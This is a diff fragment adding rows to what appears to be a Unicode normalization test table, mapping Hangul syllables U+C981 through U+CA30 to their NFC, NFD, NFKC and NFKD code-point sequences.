+{ source: [0xC981], NFC: [0xC981], NFD: [0x110C, 0x1172, 0x11BC], NFKC: [0xC981], NFKD: [0x110C, 0x1172, 0x11BC] },
+{ source: [0xC982], NFC: [0xC982], NFD: [0x110C, 0x1172, 0x11BD], NFKC: [0xC982], NFKD: [0x110C, 0x1172, 0x11BD] },
+{ source: [0xC983], NFC: [0xC983], NFD: [0x110C, 0x1172, 0x11BE], NFKC: [0xC983], NFKD: [0x110C, 0x1172, 0x11BE] },
+{ source: [0xC984], NFC: [0xC984], NFD: [0x110C, 0x1172, 0x11BF], NFKC: [0xC984], NFKD: [0x110C, 0x1172, 0x11BF] },
+{ source: [0xC985], NFC: [0xC985], NFD: [0x110C, 0x1172, 0x11C0], NFKC: [0xC985], NFKD: [0x110C, 0x1172, 0x11C0] },
+{ source: [0xC986], NFC: [0xC986], NFD: [0x110C, 0x1172, 0x11C1], NFKC: [0xC986], NFKD: [0x110C, 0x1172, 0x11C1] },
+{ source: [0xC987], NFC: [0xC987], NFD: [0x110C, 0x1172, 0x11C2], NFKC: [0xC987], NFKD: [0x110C, 0x1172, 0x11C2] },
+{ source: [0xC988], NFC: [0xC988], NFD: [0x110C, 0x1173], NFKC: [0xC988], NFKD: [0x110C, 0x1173] },
+{ source: [0xC989], NFC: [0xC989], NFD: [0x110C, 0x1173, 0x11A8], NFKC: [0xC989], NFKD: [0x110C, 0x1173, 0x11A8] },
+{ source: [0xC98A], NFC: [0xC98A], NFD: [0x110C, 0x1173, 0x11A9], NFKC: [0xC98A], NFKD: [0x110C, 0x1173, 0x11A9] },
+{ source: [0xC98B], NFC: [0xC98B], NFD: [0x110C, 0x1173, 0x11AA], NFKC: [0xC98B], NFKD: [0x110C, 0x1173, 0x11AA] },
+{ source: [0xC98C], NFC: [0xC98C], NFD: [0x110C, 0x1173, 0x11AB], NFKC: [0xC98C], NFKD: [0x110C, 0x1173, 0x11AB] },
+{ source: [0xC98D], NFC: [0xC98D], NFD: [0x110C, 0x1173, 0x11AC], NFKC: [0xC98D], NFKD: [0x110C, 0x1173, 0x11AC] },
+{ source: [0xC98E], NFC: [0xC98E], NFD: [0x110C, 0x1173, 0x11AD], NFKC: [0xC98E], NFKD: [0x110C, 0x1173, 0x11AD] },
+{ source: [0xC98F], NFC: [0xC98F], NFD: [0x110C, 0x1173, 0x11AE], NFKC: [0xC98F], NFKD: [0x110C, 0x1173, 0x11AE] },
+{ source: [0xC990], NFC: [0xC990], NFD: [0x110C, 0x1173, 0x11AF], NFKC: [0xC990], NFKD: [0x110C, 0x1173, 0x11AF] },
+{ source: [0xC991], NFC: [0xC991], NFD: [0x110C, 0x1173, 0x11B0], NFKC: [0xC991], NFKD: [0x110C, 0x1173, 0x11B0] },
+{ source: [0xC992], NFC: [0xC992], NFD: [0x110C, 0x1173, 0x11B1], NFKC: [0xC992], NFKD: [0x110C, 0x1173, 0x11B1] },
+{ source: [0xC993], NFC: [0xC993], NFD: [0x110C, 0x1173, 0x11B2], NFKC: [0xC993], NFKD: [0x110C, 0x1173, 0x11B2] },
+{ source: [0xC994], NFC: [0xC994], NFD: [0x110C, 0x1173, 0x11B3], NFKC: [0xC994], NFKD: [0x110C, 0x1173, 0x11B3] },
+{ source: [0xC995], NFC: [0xC995], NFD: [0x110C, 0x1173, 0x11B4], NFKC: [0xC995], NFKD: [0x110C, 0x1173, 0x11B4] },
+{ source: [0xC996], NFC: [0xC996], NFD: [0x110C, 0x1173, 0x11B5], NFKC: [0xC996], NFKD: [0x110C, 0x1173, 0x11B5] },
+{ source: [0xC997], NFC: [0xC997], NFD: [0x110C, 0x1173, 0x11B6], NFKC: [0xC997], NFKD: [0x110C, 0x1173, 0x11B6] },
+{ source: [0xC998], NFC: [0xC998], NFD: [0x110C, 0x1173, 0x11B7], NFKC: [0xC998], NFKD: [0x110C, 0x1173, 0x11B7] },
+{ source: [0xC999], NFC: [0xC999], NFD: [0x110C, 0x1173, 0x11B8], NFKC: [0xC999], NFKD: [0x110C, 0x1173, 0x11B8] },
+{ source: [0xC99A], NFC: [0xC99A], NFD: [0x110C, 0x1173, 0x11B9], NFKC: [0xC99A], NFKD: [0x110C, 0x1173, 0x11B9] },
+{ source: [0xC99B], NFC: [0xC99B], NFD: [0x110C, 0x1173, 0x11BA], NFKC: [0xC99B], NFKD: [0x110C, 0x1173, 0x11BA] },
+{ source: [0xC99C], NFC: [0xC99C], NFD: [0x110C, 0x1173, 0x11BB], NFKC: [0xC99C], NFKD: [0x110C, 0x1173, 0x11BB] },
+{ source: [0xC99D], NFC: [0xC99D], NFD: [0x110C, 0x1173, 0x11BC], NFKC: [0xC99D], NFKD: [0x110C, 0x1173, 0x11BC] },
+{ source: [0xC99E], NFC: [0xC99E], NFD: [0x110C, 0x1173, 0x11BD], NFKC: [0xC99E], NFKD: [0x110C, 0x1173, 0x11BD] },
+{ source: [0xC99F], NFC: [0xC99F], NFD: [0x110C, 0x1173, 0x11BE], NFKC: [0xC99F], NFKD: [0x110C, 0x1173, 0x11BE] },
+{ source: [0xC9A0], NFC: [0xC9A0], NFD: [0x110C, 0x1173, 0x11BF], NFKC: [0xC9A0], NFKD: [0x110C, 0x1173, 0x11BF] },
+{ source: [0xC9A1], NFC: [0xC9A1], NFD: [0x110C, 0x1173, 0x11C0], NFKC: [0xC9A1], NFKD: [0x110C, 0x1173, 0x11C0] },
+{ source: [0xC9A2], NFC: [0xC9A2], NFD: [0x110C, 0x1173, 0x11C1], NFKC: [0xC9A2], NFKD: [0x110C, 0x1173, 0x11C1] },
+{ source: [0xC9A3], NFC: [0xC9A3], NFD: [0x110C, 0x1173, 0x11C2], NFKC: [0xC9A3], NFKD: [0x110C, 0x1173, 0x11C2] },
+{ source: [0xC9A4], NFC: [0xC9A4], NFD: [0x110C, 0x1174], NFKC: [0xC9A4], NFKD: [0x110C, 0x1174] },
+{ source: [0xC9A5], NFC: [0xC9A5], NFD: [0x110C, 0x1174, 0x11A8], NFKC: [0xC9A5], NFKD: [0x110C, 0x1174, 0x11A8] },
+{ source: [0xC9A6], NFC: [0xC9A6], NFD: [0x110C, 0x1174, 0x11A9], NFKC: [0xC9A6], NFKD: [0x110C, 0x1174, 0x11A9] },
+{ source: [0xC9A7], NFC: [0xC9A7], NFD: [0x110C, 0x1174, 0x11AA], NFKC: [0xC9A7], NFKD: [0x110C, 0x1174, 0x11AA] },
+{ source: [0xC9A8], NFC: [0xC9A8], NFD: [0x110C, 0x1174, 0x11AB], NFKC: [0xC9A8], NFKD: [0x110C, 0x1174, 0x11AB] },
+{ source: [0xC9A9], NFC: [0xC9A9], NFD: [0x110C, 0x1174, 0x11AC], NFKC: [0xC9A9], NFKD: [0x110C, 0x1174, 0x11AC] },
+{ source: [0xC9AA], NFC: [0xC9AA], NFD: [0x110C, 0x1174, 0x11AD], NFKC: [0xC9AA], NFKD: [0x110C, 0x1174, 0x11AD] },
+{ source: [0xC9AB], NFC: [0xC9AB], NFD: [0x110C, 0x1174, 0x11AE], NFKC: [0xC9AB], NFKD: [0x110C, 0x1174, 0x11AE] },
+{ source: [0xC9AC], NFC: [0xC9AC], NFD: [0x110C, 0x1174, 0x11AF], NFKC: [0xC9AC], NFKD: [0x110C, 0x1174, 0x11AF] },
+{ source: [0xC9AD], NFC: [0xC9AD], NFD: [0x110C, 0x1174, 0x11B0], NFKC: [0xC9AD], NFKD: [0x110C, 0x1174, 0x11B0] },
+{ source: [0xC9AE], NFC: [0xC9AE], NFD: [0x110C, 0x1174, 0x11B1], NFKC: [0xC9AE], NFKD: [0x110C, 0x1174, 0x11B1] },
+{ source: [0xC9AF], NFC: [0xC9AF], NFD: [0x110C, 0x1174, 0x11B2], NFKC: [0xC9AF], NFKD: [0x110C, 0x1174, 0x11B2] },
+{ source: [0xC9B0], NFC: [0xC9B0], NFD: [0x110C, 0x1174, 0x11B3], NFKC: [0xC9B0], NFKD: [0x110C, 0x1174, 0x11B3] },
+{ source: [0xC9B1], NFC: [0xC9B1], NFD: [0x110C, 0x1174, 0x11B4], NFKC: [0xC9B1], NFKD: [0x110C, 0x1174, 0x11B4] },
+{ source: [0xC9B2], NFC: [0xC9B2], NFD: [0x110C, 0x1174, 0x11B5], NFKC: [0xC9B2], NFKD: [0x110C, 0x1174, 0x11B5] },
+{ source: [0xC9B3], NFC: [0xC9B3], NFD: [0x110C, 0x1174, 0x11B6], NFKC: [0xC9B3], NFKD: [0x110C, 0x1174, 0x11B6] },
+{ source: [0xC9B4], NFC: [0xC9B4], NFD: [0x110C, 0x1174, 0x11B7], NFKC: [0xC9B4], NFKD: [0x110C, 0x1174, 0x11B7] },
+{ source: [0xC9B5], NFC: [0xC9B5], NFD: [0x110C, 0x1174, 0x11B8], NFKC: [0xC9B5], NFKD: [0x110C, 0x1174, 0x11B8] },
+{ source: [0xC9B6], NFC: [0xC9B6], NFD: [0x110C, 0x1174, 0x11B9], NFKC: [0xC9B6], NFKD: [0x110C, 0x1174, 0x11B9] },
+{ source: [0xC9B7], NFC: [0xC9B7], NFD: [0x110C, 0x1174, 0x11BA], NFKC: [0xC9B7], NFKD: [0x110C, 0x1174, 0x11BA] },
+{ source: [0xC9B8], NFC: [0xC9B8], NFD: [0x110C, 0x1174, 0x11BB], NFKC: [0xC9B8], NFKD: [0x110C, 0x1174, 0x11BB] },
+{ source: [0xC9B9], NFC: [0xC9B9], NFD: [0x110C, 0x1174, 0x11BC], NFKC: [0xC9B9], NFKD: [0x110C, 0x1174, 0x11BC] },
+{ source: [0xC9BA], NFC: [0xC9BA], NFD: [0x110C, 0x1174, 0x11BD], NFKC: [0xC9BA], NFKD: [0x110C, 0x1174, 0x11BD] },
+{ source: [0xC9BB], NFC: [0xC9BB], NFD: [0x110C, 0x1174, 0x11BE], NFKC: [0xC9BB], NFKD: [0x110C, 0x1174, 0x11BE] },
+{ source: [0xC9BC], NFC: [0xC9BC], NFD: [0x110C, 0x1174, 0x11BF], NFKC: [0xC9BC], NFKD: [0x110C, 0x1174, 0x11BF] },
+{ source: [0xC9BD], NFC: [0xC9BD], NFD: [0x110C, 0x1174, 0x11C0], NFKC: [0xC9BD], NFKD: [0x110C, 0x1174, 0x11C0] },
+{ source: [0xC9BE], NFC: [0xC9BE], NFD: [0x110C, 0x1174, 0x11C1], NFKC: [0xC9BE], NFKD: [0x110C, 0x1174, 0x11C1] },
+{ source: [0xC9BF], NFC: [0xC9BF], NFD: [0x110C, 0x1174, 0x11C2], NFKC: [0xC9BF], NFKD: [0x110C, 0x1174, 0x11C2] },
+{ source: [0xC9C0], NFC: [0xC9C0], NFD: [0x110C, 0x1175], NFKC: [0xC9C0], NFKD: [0x110C, 0x1175] },
+{ source: [0xC9C1], NFC: [0xC9C1], NFD: [0x110C, 0x1175, 0x11A8], NFKC: [0xC9C1], NFKD: [0x110C, 0x1175, 0x11A8] },
+{ source: [0xC9C2], NFC: [0xC9C2], NFD: [0x110C, 0x1175, 0x11A9], NFKC: [0xC9C2], NFKD: [0x110C, 0x1175, 0x11A9] },
+{ source: [0xC9C3], NFC: [0xC9C3], NFD: [0x110C, 0x1175, 0x11AA], NFKC: [0xC9C3], NFKD: [0x110C, 0x1175, 0x11AA] },
+{ source: [0xC9C4], NFC: [0xC9C4], NFD: [0x110C, 0x1175, 0x11AB], NFKC: [0xC9C4], NFKD: [0x110C, 0x1175, 0x11AB] },
+{ source: [0xC9C5], NFC: [0xC9C5], NFD: [0x110C, 0x1175, 0x11AC], NFKC: [0xC9C5], NFKD: [0x110C, 0x1175, 0x11AC] },
+{ source: [0xC9C6], NFC: [0xC9C6], NFD: [0x110C, 0x1175, 0x11AD], NFKC: [0xC9C6], NFKD: [0x110C, 0x1175, 0x11AD] },
+{ source: [0xC9C7], NFC: [0xC9C7], NFD: [0x110C, 0x1175, 0x11AE], NFKC: [0xC9C7], NFKD: [0x110C, 0x1175, 0x11AE] },
+{ source: [0xC9C8], NFC: [0xC9C8], NFD: [0x110C, 0x1175, 0x11AF], NFKC: [0xC9C8], NFKD: [0x110C, 0x1175, 0x11AF] },
+{ source: [0xC9C9], NFC: [0xC9C9], NFD: [0x110C, 0x1175, 0x11B0], NFKC: [0xC9C9], NFKD: [0x110C, 0x1175, 0x11B0] },
+{ source: [0xC9CA], NFC: [0xC9CA], NFD: [0x110C, 0x1175, 0x11B1], NFKC: [0xC9CA], NFKD: [0x110C, 0x1175, 0x11B1] },
+{ source: [0xC9CB], NFC: [0xC9CB], NFD: [0x110C, 0x1175, 0x11B2], NFKC: [0xC9CB], NFKD: [0x110C, 0x1175, 0x11B2] },
+{ source: [0xC9CC], NFC: [0xC9CC], NFD: [0x110C, 0x1175, 0x11B3], NFKC: [0xC9CC], NFKD: [0x110C, 0x1175, 0x11B3] },
+{ source: [0xC9CD], NFC: [0xC9CD], NFD: [0x110C, 0x1175, 0x11B4], NFKC: [0xC9CD], NFKD: [0x110C, 0x1175, 0x11B4] },
+{ source: [0xC9CE], NFC: [0xC9CE], NFD: [0x110C, 0x1175, 0x11B5], NFKC: [0xC9CE], NFKD: [0x110C, 0x1175, 0x11B5] },
+{ source: [0xC9CF], NFC: [0xC9CF], NFD: [0x110C, 0x1175, 0x11B6], NFKC: [0xC9CF], NFKD: [0x110C, 0x1175, 0x11B6] },
+{ source: [0xC9D0], NFC: [0xC9D0], NFD: [0x110C, 0x1175, 0x11B7], NFKC: [0xC9D0], NFKD: [0x110C, 0x1175, 0x11B7] },
+{ source: [0xC9D1], NFC: [0xC9D1], NFD: [0x110C, 0x1175, 0x11B8], NFKC: [0xC9D1], NFKD: [0x110C, 0x1175, 0x11B8] },
+{ source: [0xC9D2], NFC: [0xC9D2], NFD: [0x110C, 0x1175, 0x11B9], NFKC: [0xC9D2], NFKD: [0x110C, 0x1175, 0x11B9] },
+{ source: [0xC9D3], NFC: [0xC9D3], NFD: [0x110C, 0x1175, 0x11BA], NFKC: [0xC9D3], NFKD: [0x110C, 0x1175, 0x11BA] },
+{ source: [0xC9D4], NFC: [0xC9D4], NFD: [0x110C, 0x1175, 0x11BB], NFKC: [0xC9D4], NFKD: [0x110C, 0x1175, 0x11BB] },
+{ source: [0xC9D5], NFC: [0xC9D5], NFD: [0x110C, 0x1175, 0x11BC], NFKC: [0xC9D5], NFKD: [0x110C, 0x1175, 0x11BC] },
+{ source: [0xC9D6], NFC: [0xC9D6], NFD: [0x110C, 0x1175, 0x11BD], NFKC: [0xC9D6], NFKD: [0x110C, 0x1175, 0x11BD] },
+{ source: [0xC9D7], NFC: [0xC9D7], NFD: [0x110C, 0x1175, 0x11BE], NFKC: [0xC9D7], NFKD: [0x110C, 0x1175, 0x11BE] },
+{ source: [0xC9D8], NFC: [0xC9D8], NFD: [0x110C, 0x1175, 0x11BF], NFKC: [0xC9D8], NFKD: [0x110C, 0x1175, 0x11BF] },
+{ source: [0xC9D9], NFC: [0xC9D9], NFD: [0x110C, 0x1175, 0x11C0], NFKC: [0xC9D9], NFKD: [0x110C, 0x1175, 0x11C0] },
+{ source: [0xC9DA], NFC: [0xC9DA], NFD: [0x110C, 0x1175, 0x11C1], NFKC: [0xC9DA], NFKD: [0x110C, 0x1175, 0x11C1] },
+{ source: [0xC9DB], NFC: [0xC9DB], NFD: [0x110C, 0x1175, 0x11C2], NFKC: [0xC9DB], NFKD: [0x110C, 0x1175, 0x11C2] },
+{ source: [0xC9DC], NFC: [0xC9DC], NFD: [0x110D, 0x1161], NFKC: [0xC9DC], NFKD: [0x110D, 0x1161] },
+{ source: [0xC9DD], NFC: [0xC9DD], NFD: [0x110D, 0x1161, 0x11A8], NFKC: [0xC9DD], NFKD: [0x110D, 0x1161, 0x11A8] },
+{ source: [0xC9DE], NFC: [0xC9DE], NFD: [0x110D, 0x1161, 0x11A9], NFKC: [0xC9DE], NFKD: [0x110D, 0x1161, 0x11A9] },
+{ source: [0xC9DF], NFC: [0xC9DF], NFD: [0x110D, 0x1161, 0x11AA], NFKC: [0xC9DF], NFKD: [0x110D, 0x1161, 0x11AA] },
+{ source: [0xC9E0], NFC: [0xC9E0], NFD: [0x110D, 0x1161, 0x11AB], NFKC: [0xC9E0], NFKD: [0x110D, 0x1161, 0x11AB] },
+{ source: [0xC9E1], NFC: [0xC9E1], NFD: [0x110D, 0x1161, 0x11AC], NFKC: [0xC9E1], NFKD: [0x110D, 0x1161, 0x11AC] },
+{ source: [0xC9E2], NFC: [0xC9E2], NFD: [0x110D, 0x1161, 0x11AD], NFKC: [0xC9E2], NFKD: [0x110D, 0x1161, 0x11AD] },
+{ source: [0xC9E3], NFC: [0xC9E3], NFD: [0x110D, 0x1161, 0x11AE], NFKC: [0xC9E3], NFKD: [0x110D, 0x1161, 0x11AE] },
+{ source: [0xC9E4], NFC: [0xC9E4], NFD: [0x110D, 0x1161, 0x11AF], NFKC: [0xC9E4], NFKD: [0x110D, 0x1161, 0x11AF] },
+{ source: [0xC9E5], NFC: [0xC9E5], NFD: [0x110D, 0x1161, 0x11B0], NFKC: [0xC9E5], NFKD: [0x110D, 0x1161, 0x11B0] },
+{ source: [0xC9E6], NFC: [0xC9E6], NFD: [0x110D, 0x1161, 0x11B1], NFKC: [0xC9E6], NFKD: [0x110D, 0x1161, 0x11B1] },
+{ source: [0xC9E7], NFC: [0xC9E7], NFD: [0x110D, 0x1161, 0x11B2], NFKC: [0xC9E7], NFKD: [0x110D, 0x1161, 0x11B2] },
+{ source: [0xC9E8], NFC: [0xC9E8], NFD: [0x110D, 0x1161, 0x11B3], NFKC: [0xC9E8], NFKD: [0x110D, 0x1161, 0x11B3] },
+{ source: [0xC9E9], NFC: [0xC9E9], NFD: [0x110D, 0x1161, 0x11B4], NFKC: [0xC9E9], NFKD: [0x110D, 0x1161, 0x11B4] },
+{ source: [0xC9EA], NFC: [0xC9EA], NFD: [0x110D, 0x1161, 0x11B5], NFKC: [0xC9EA], NFKD: [0x110D, 0x1161, 0x11B5] },
+{ source: [0xC9EB], NFC: [0xC9EB], NFD: [0x110D, 0x1161, 0x11B6], NFKC: [0xC9EB], NFKD: [0x110D, 0x1161, 0x11B6] },
+{ source: [0xC9EC], NFC: [0xC9EC], NFD: [0x110D, 0x1161, 0x11B7], NFKC: [0xC9EC], NFKD: [0x110D, 0x1161, 0x11B7] },
+{ source: [0xC9ED], NFC: [0xC9ED], NFD: [0x110D, 0x1161, 0x11B8], NFKC: [0xC9ED], NFKD: [0x110D, 0x1161, 0x11B8] },
+{ source: [0xC9EE], NFC: [0xC9EE], NFD: [0x110D, 0x1161, 0x11B9], NFKC: [0xC9EE], NFKD: [0x110D, 0x1161, 0x11B9] },
+{ source: [0xC9EF], NFC: [0xC9EF], NFD: [0x110D, 0x1161, 0x11BA], NFKC: [0xC9EF], NFKD: [0x110D, 0x1161, 0x11BA] },
+{ source: [0xC9F0], NFC: [0xC9F0], NFD: [0x110D, 0x1161, 0x11BB], NFKC: [0xC9F0], NFKD: [0x110D, 0x1161, 0x11BB] },
+{ source: [0xC9F1], NFC: [0xC9F1], NFD: [0x110D, 0x1161, 0x11BC], NFKC: [0xC9F1], NFKD: [0x110D, 0x1161, 0x11BC] },
+{ source: [0xC9F2], NFC: [0xC9F2], NFD: [0x110D, 0x1161, 0x11BD], NFKC: [0xC9F2], NFKD: [0x110D, 0x1161, 0x11BD] },
+{ source: [0xC9F3], NFC: [0xC9F3], NFD: [0x110D, 0x1161, 0x11BE], NFKC: [0xC9F3], NFKD: [0x110D, 0x1161, 0x11BE] },
+{ source: [0xC9F4], NFC: [0xC9F4], NFD: [0x110D, 0x1161, 0x11BF], NFKC: [0xC9F4], NFKD: [0x110D, 0x1161, 0x11BF] },
+{ source: [0xC9F5], NFC: [0xC9F5], NFD: [0x110D, 0x1161, 0x11C0], NFKC: [0xC9F5], NFKD: [0x110D, 0x1161, 0x11C0] },
+{ source: [0xC9F6], NFC: [0xC9F6], NFD: [0x110D, 0x1161, 0x11C1], NFKC: [0xC9F6], NFKD: [0x110D, 0x1161, 0x11C1] },
+{ source: [0xC9F7], NFC: [0xC9F7], NFD: [0x110D, 0x1161, 0x11C2], NFKC: [0xC9F7], NFKD: [0x110D, 0x1161, 0x11C2] },
+{ source: [0xC9F8], NFC: [0xC9F8], NFD: [0x110D, 0x1162], NFKC: [0xC9F8], NFKD: [0x110D, 0x1162] },
+{ source: [0xC9F9], NFC: [0xC9F9], NFD: [0x110D, 0x1162, 0x11A8], NFKC: [0xC9F9], NFKD: [0x110D, 0x1162, 0x11A8] },
+{ source: [0xC9FA], NFC: [0xC9FA], NFD: [0x110D, 0x1162, 0x11A9], NFKC: [0xC9FA], NFKD: [0x110D, 0x1162, 0x11A9] },
+{ source: [0xC9FB], NFC: [0xC9FB], NFD: [0x110D, 0x1162, 0x11AA], NFKC: [0xC9FB], NFKD: [0x110D, 0x1162, 0x11AA] },
+{ source: [0xC9FC], NFC: [0xC9FC], NFD: [0x110D, 0x1162, 0x11AB], NFKC: [0xC9FC], NFKD: [0x110D, 0x1162, 0x11AB] },
+{ source: [0xC9FD], NFC: [0xC9FD], NFD: [0x110D, 0x1162, 0x11AC], NFKC: [0xC9FD], NFKD: [0x110D, 0x1162, 0x11AC] },
+{ source: [0xC9FE], NFC: [0xC9FE], NFD: [0x110D, 0x1162, 0x11AD], NFKC: [0xC9FE], NFKD: [0x110D, 0x1162, 0x11AD] },
+{ source: [0xC9FF], NFC: [0xC9FF], NFD: [0x110D, 0x1162, 0x11AE], NFKC: [0xC9FF], NFKD: [0x110D, 0x1162, 0x11AE] },
+{ source: [0xCA00], NFC: [0xCA00], NFD: [0x110D, 0x1162, 0x11AF], NFKC: [0xCA00], NFKD: [0x110D, 0x1162, 0x11AF] },
+{ source: [0xCA01], NFC: [0xCA01], NFD: [0x110D, 0x1162, 0x11B0], NFKC: [0xCA01], NFKD: [0x110D, 0x1162, 0x11B0] },
+{ source: [0xCA02], NFC: [0xCA02], NFD: [0x110D, 0x1162, 0x11B1], NFKC: [0xCA02], NFKD: [0x110D, 0x1162, 0x11B1] },
+{ source: [0xCA03], NFC: [0xCA03], NFD: [0x110D, 0x1162, 0x11B2], NFKC: [0xCA03], NFKD: [0x110D, 0x1162, 0x11B2] },
+{ source: [0xCA04], NFC: [0xCA04], NFD: [0x110D, 0x1162, 0x11B3], NFKC: [0xCA04], NFKD: [0x110D, 0x1162, 0x11B3] },
+{ source: [0xCA05], NFC: [0xCA05], NFD: [0x110D, 0x1162, 0x11B4], NFKC: [0xCA05], NFKD: [0x110D, 0x1162, 0x11B4] },
+{ source: [0xCA06], NFC: [0xCA06], NFD: [0x110D, 0x1162, 0x11B5], NFKC: [0xCA06], NFKD: [0x110D, 0x1162, 0x11B5] },
+{ source: [0xCA07], NFC: [0xCA07], NFD: [0x110D, 0x1162, 0x11B6], NFKC: [0xCA07], NFKD: [0x110D, 0x1162, 0x11B6] },
+{ source: [0xCA08], NFC: [0xCA08], NFD: [0x110D, 0x1162, 0x11B7], NFKC: [0xCA08], NFKD: [0x110D, 0x1162, 0x11B7] },
+{ source: [0xCA09], NFC: [0xCA09], NFD: [0x110D, 0x1162, 0x11B8], NFKC: [0xCA09], NFKD: [0x110D, 0x1162, 0x11B8] },
+{ source: [0xCA0A], NFC: [0xCA0A], NFD: [0x110D, 0x1162, 0x11B9], NFKC: [0xCA0A], NFKD: [0x110D, 0x1162, 0x11B9] },
+{ source: [0xCA0B], NFC: [0xCA0B], NFD: [0x110D, 0x1162, 0x11BA], NFKC: [0xCA0B], NFKD: [0x110D, 0x1162, 0x11BA] },
+{ source: [0xCA0C], NFC: [0xCA0C], NFD: [0x110D, 0x1162, 0x11BB], NFKC: [0xCA0C], NFKD: [0x110D, 0x1162, 0x11BB] },
+{ source: [0xCA0D], NFC: [0xCA0D], NFD: [0x110D, 0x1162, 0x11BC], NFKC: [0xCA0D], NFKD: [0x110D, 0x1162, 0x11BC] },
+{ source: [0xCA0E], NFC: [0xCA0E], NFD: [0x110D, 0x1162, 0x11BD], NFKC: [0xCA0E], NFKD: [0x110D, 0x1162, 0x11BD] },
+{ source: [0xCA0F], NFC: [0xCA0F], NFD: [0x110D, 0x1162, 0x11BE], NFKC: [0xCA0F], NFKD: [0x110D, 0x1162, 0x11BE] },
+{ source: [0xCA10], NFC: [0xCA10], NFD: [0x110D, 0x1162, 0x11BF], NFKC: [0xCA10], NFKD: [0x110D, 0x1162, 0x11BF] },
+{ source: [0xCA11], NFC: [0xCA11], NFD: [0x110D, 0x1162, 0x11C0], NFKC: [0xCA11], NFKD: [0x110D, 0x1162, 0x11C0] },
+{ source: [0xCA12], NFC: [0xCA12], NFD: [0x110D, 0x1162, 0x11C1], NFKC: [0xCA12], NFKD: [0x110D, 0x1162, 0x11C1] },
+{ source: [0xCA13], NFC: [0xCA13], NFD: [0x110D, 0x1162, 0x11C2], NFKC: [0xCA13], NFKD: [0x110D, 0x1162, 0x11C2] },
+{ source: [0xCA14], NFC: [0xCA14], NFD: [0x110D, 0x1163], NFKC: [0xCA14], NFKD: [0x110D, 0x1163] },
+{ source: [0xCA15], NFC: [0xCA15], NFD: [0x110D, 0x1163, 0x11A8], NFKC: [0xCA15], NFKD: [0x110D, 0x1163, 0x11A8] },
+{ source: [0xCA16], NFC: [0xCA16], NFD: [0x110D, 0x1163, 0x11A9], NFKC: [0xCA16], NFKD: [0x110D, 0x1163, 0x11A9] },
+{ source: [0xCA17], NFC: [0xCA17], NFD: [0x110D, 0x1163, 0x11AA], NFKC: [0xCA17], NFKD: [0x110D, 0x1163, 0x11AA] },
+{ source: [0xCA18], NFC: [0xCA18], NFD: [0x110D, 0x1163, 0x11AB], NFKC: [0xCA18], NFKD: [0x110D, 0x1163, 0x11AB] },
+{ source: [0xCA19], NFC: [0xCA19], NFD: [0x110D, 0x1163, 0x11AC], NFKC: [0xCA19], NFKD: [0x110D, 0x1163, 0x11AC] },
+{ source: [0xCA1A], NFC: [0xCA1A], NFD: [0x110D, 0x1163, 0x11AD], NFKC: [0xCA1A], NFKD: [0x110D, 0x1163, 0x11AD] },
+{ source: [0xCA1B], NFC: [0xCA1B], NFD: [0x110D, 0x1163, 0x11AE], NFKC: [0xCA1B], NFKD: [0x110D, 0x1163, 0x11AE] },
+{ source: [0xCA1C], NFC: [0xCA1C], NFD: [0x110D, 0x1163, 0x11AF], NFKC: [0xCA1C], NFKD: [0x110D, 0x1163, 0x11AF] },
+{ source: [0xCA1D], NFC: [0xCA1D], NFD: [0x110D, 0x1163, 0x11B0], NFKC: [0xCA1D], NFKD: [0x110D, 0x1163, 0x11B0] },
+{ source: [0xCA1E], NFC: [0xCA1E], NFD: [0x110D, 0x1163, 0x11B1], NFKC: [0xCA1E], NFKD: [0x110D, 0x1163, 0x11B1] },
+{ source: [0xCA1F], NFC: [0xCA1F], NFD: [0x110D, 0x1163, 0x11B2], NFKC: [0xCA1F], NFKD: [0x110D, 0x1163, 0x11B2] },
+{ source: [0xCA20], NFC: [0xCA20], NFD: [0x110D, 0x1163, 0x11B3], NFKC: [0xCA20], NFKD: [0x110D, 0x1163, 0x11B3] },
+{ source: [0xCA21], NFC: [0xCA21], NFD: [0x110D, 0x1163, 0x11B4], NFKC: [0xCA21], NFKD: [0x110D, 0x1163, 0x11B4] },
+{ source: [0xCA22], NFC: [0xCA22], NFD: [0x110D, 0x1163, 0x11B5], NFKC: [0xCA22], NFKD: [0x110D, 0x1163, 0x11B5] },
+{ source: [0xCA23], NFC: [0xCA23], NFD: [0x110D, 0x1163, 0x11B6], NFKC: [0xCA23], NFKD: [0x110D, 0x1163, 0x11B6] },
+{ source: [0xCA24], NFC: [0xCA24], NFD: [0x110D, 0x1163, 0x11B7], NFKC: [0xCA24], NFKD: [0x110D, 0x1163, 0x11B7] },
+{ source: [0xCA25], NFC: [0xCA25], NFD: [0x110D, 0x1163, 0x11B8], NFKC: [0xCA25], NFKD: [0x110D, 0x1163, 0x11B8] },
+{ source: [0xCA26], NFC: [0xCA26], NFD: [0x110D, 0x1163, 0x11B9], NFKC: [0xCA26], NFKD: [0x110D, 0x1163, 0x11B9] },
+{ source: [0xCA27], NFC: [0xCA27], NFD: [0x110D, 0x1163, 0x11BA], NFKC: [0xCA27], NFKD: [0x110D, 0x1163, 0x11BA] },
+{ source: [0xCA28], NFC: [0xCA28], NFD: [0x110D, 0x1163, 0x11BB], NFKC: [0xCA28], NFKD: [0x110D, 0x1163, 0x11BB] },
+{ source: [0xCA29], NFC: [0xCA29], NFD: [0x110D, 0x1163, 0x11BC], NFKC: [0xCA29], NFKD: [0x110D, 0x1163, 0x11BC] },
+{ source: [0xCA2A], NFC: [0xCA2A], NFD: [0x110D, 0x1163, 0x11BD], NFKC: [0xCA2A], NFKD: [0x110D, 0x1163, 0x11BD] },
+{ source: [0xCA2B], NFC: [0xCA2B], NFD: [0x110D, 0x1163, 0x11BE], NFKC: [0xCA2B], NFKD: [0x110D, 0x1163, 0x11BE] },
+{ source: [0xCA2C], NFC: [0xCA2C], NFD: [0x110D, 0x1163, 0x11BF], NFKC: [0xCA2C], NFKD: [0x110D, 0x1163, 0x11BF] },
+{ source: [0xCA2D], NFC: [0xCA2D], NFD: [0x110D, 0x1163, 0x11C0], NFKC: [0xCA2D], NFKD: [0x110D, 0x1163, 0x11C0] },
+{ source: [0xCA2E], NFC: [0xCA2E], NFD: [0x110D, 0x1163, 0x11C1], NFKC: [0xCA2E], NFKD: [0x110D, 0x1163, 0x11C1] },
+{ source: [0xCA2F], NFC: [0xCA2F], NFD: [0x110D, 0x1163, 0x11C2], NFKC: [0xCA2F], NFKD: [0x110D, 0x1163, 0x11C2] },
+{ source: [0xCA30], NFC: [0xCA30], NFD: [0x110D, 0x1164], NFKC: [0xCA30], NFKD: [0x110D, 0x1164] },
